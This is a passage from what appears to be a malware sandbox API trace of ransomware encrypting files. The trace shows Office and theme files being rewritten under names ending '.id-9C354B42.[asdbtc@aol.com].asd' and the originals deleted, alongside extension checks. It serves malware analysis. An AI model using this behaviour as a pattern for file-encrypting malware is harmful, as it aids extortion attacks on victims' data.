returned 1 [0052.792] CloseHandle (hObject=0x204) returned 1 [0052.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0052.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.799] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.799] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.943] GetLastError () returned 0x0 [0052.943] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x251f, lpOverlapped=0x0) returned 1 [0052.954] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0052.958] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.958] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.959] SetEndOfFile (hFile=0x1f4) returned 1 [0052.959] CloseHandle (hObject=0x1f4) returned 1 [0052.959] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.959] SetEndOfFile (hFile=0x204) returned 1 [0052.960] CloseHandle (hObject=0x204) returned 1 [0052.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.960] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0052.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.960] lstrlenW (lpString=".doc") returned 4 [0052.960] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.960] lstrlenW (lpString=".docx") returned 5 [0052.961] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.961] lstrlenW (lpString=".pdf") returned 4 [0052.961] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString=".xls") returned 4 [0052.961] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString=".xlsx") returned 5 [0052.961] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.961] lstrlenW (lpString=".ppt") returned 4 [0052.961] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString=".zip") returned 4 [0052.961] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.961] lstrlenW (lpString=".rar") returned 4 [0052.961] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString=".bz2") returned 4 [0052.961] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString=".7z") returned 3 [0052.961] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString=".dbf") returned 4 [0052.961] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString=".1cd") returned 4 [0052.961] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString=".jpg") returned 4 [0052.961] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.961] lstrlenW (lpString=".doc") returned 4 [0052.961] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.961] lstrlenW (lpString=".docx") returned 5 [0052.962] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.962] lstrlenW (lpString=".pdf") returned 4 [0052.962] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString=".xls") returned 4 [0052.962] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString=".xlsx") returned 5 [0052.962] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.962] lstrlenW (lpString=".ppt") returned 4 [0052.962] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.962] lstrlenW (lpString=".zip") returned 4 [0052.962] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.962] lstrlenW (lpString=".rar") returned 4 [0052.962] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString=".bz2") returned 4 [0052.962] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString=".7z") returned 3 [0052.962] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.962] lstrlenW (lpString=".dbf") returned 4 [0052.962] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.962] lstrlenW (lpString=".1cd") returned 4 [0052.962] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.962] lstrlenW (lpString=".jpg") returned 4 [0052.962] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.963] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0052.963] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.963] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2848) returned 1 [0052.963] CloseHandle (hObject=0x204) returned 1 [0052.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0052.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.963] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.963] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.001] GetLastError () returned 0x0 [0053.001] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0xb20, lpOverlapped=0x0) returned 1 [0053.033] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0053.035] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.035] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.035] SetEndOfFile (hFile=0x1f4) returned 1 [0053.035] CloseHandle (hObject=0x1f4) returned 1 [0053.035] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.035] SetEndOfFile (hFile=0x204) returned 1 [0053.036] CloseHandle (hObject=0x204) returned 1 [0053.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.039] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0053.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.039] lstrlenW (lpString=".doc") returned 4 [0053.039] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.040] lstrlenW (lpString=".docx") returned 5 [0053.040] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.040] lstrlenW (lpString=".pdf") returned 4 [0053.040] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.040] lstrlenW (lpString=".xls") returned 4 [0053.040] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.040] lstrlenW (lpString=".xlsx") returned 5 [0053.040] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.040] lstrlenW (lpString=".ppt") returned 4 [0053.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.040] lstrlenW (lpString=".zip") returned 4 [0053.040] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.040] lstrlenW (lpString=".rar") returned 4 [0053.040] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.040] lstrlenW (lpString=".bz2") returned 4 [0053.040] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.040] lstrlenW (lpString=".7z") returned 3 [0053.040] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.040] lstrlenW (lpString=".dbf") returned 4 [0053.040] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.040] lstrlenW (lpString=".1cd") returned 4 [0053.040] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.040] lstrlenW (lpString=".jpg") returned 4 [0053.040] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.041] lstrlenW (lpString=".doc") returned 4 [0053.041] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.041] lstrlenW (lpString=".docx") returned 5 [0053.041] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.041] lstrlenW (lpString=".pdf") returned 4 [0053.041] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString=".xls") returned 4 [0053.041] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString=".xlsx") returned 5 [0053.041] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.041] lstrlenW (lpString=".ppt") returned 4 [0053.041] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.041] lstrlenW (lpString=".zip") returned 4 [0053.041] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString=".rar") returned 4 [0053.041] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.041] lstrlenW (lpString=".bz2") returned 4 [0053.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.041] lstrlenW (lpString=".7z") returned 3 [0053.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.041] lstrlenW (lpString=".dbf") returned 4 [0053.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.042] lstrlenW (lpString=".1cd") returned 4 [0053.042] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0053.042] lstrlenW (lpString=".jpg") returned 4 [0053.042] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.042] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.042] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.042] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=34916) returned 1 [0053.043] CloseHandle (hObject=0x204) returned 1 [0053.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0053.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.043] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.043] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.043] GetLastError () returned 0x0 [0053.044] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x8864, lpOverlapped=0x0) returned 1 [0053.047] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0053.050] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.050] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.050] SetEndOfFile (hFile=0x1f4) returned 1 [0053.051] CloseHandle (hObject=0x1f4) returned 1 [0053.051] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.051] SetEndOfFile (hFile=0x204) returned 1 [0053.052] CloseHandle (hObject=0x204) returned 1 [0053.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.407] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0053.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.407] lstrlenW (lpString=".doc") returned 4 [0053.407] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.407] lstrlenW (lpString=".docx") returned 5 [0053.407] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.407] lstrlenW (lpString=".pdf") returned 4 [0053.407] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.407] lstrlenW (lpString=".xls") returned 4 [0053.407] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.407] lstrlenW (lpString=".xlsx") returned 5 [0053.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.407] lstrlenW (lpString=".ppt") returned 4 [0053.407] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.407] lstrlenW (lpString=".zip") returned 4 [0053.407] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.408] lstrlenW (lpString=".rar") returned 4 [0053.408] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.408] lstrlenW (lpString=".bz2") returned 4 [0053.408] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString=".7z") returned 3 [0053.408] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.408] lstrlenW (lpString=".dbf") returned 4 [0053.408] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.408] lstrlenW (lpString=".1cd") returned 4 [0053.408] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.408] lstrlenW (lpString=".jpg") returned 4 [0053.408] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.408] lstrlenW (lpString=".doc") returned 4 [0053.408] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString=".docx") returned 5 [0053.408] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.408] lstrlenW (lpString=".pdf") returned 4 [0053.408] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.408] lstrlenW (lpString=".xls") returned 4 [0053.408] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.408] lstrlenW (lpString=".xlsx") returned 5 [0053.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.409] lstrlenW (lpString=".ppt") returned 4 [0053.409] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.409] lstrlenW (lpString=".zip") returned 4 [0053.409] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.409] lstrlenW (lpString=".rar") returned 4 [0053.409] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.409] lstrlenW (lpString=".bz2") returned 4 [0053.409] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.409] lstrlenW (lpString=".7z") returned 3 [0053.409] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.409] lstrlenW (lpString=".dbf") returned 4 [0053.409] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.409] lstrlenW (lpString=".1cd") returned 4 [0053.409] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0053.409] lstrlenW (lpString=".jpg") returned 4 [0053.409] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.409] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.410] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), 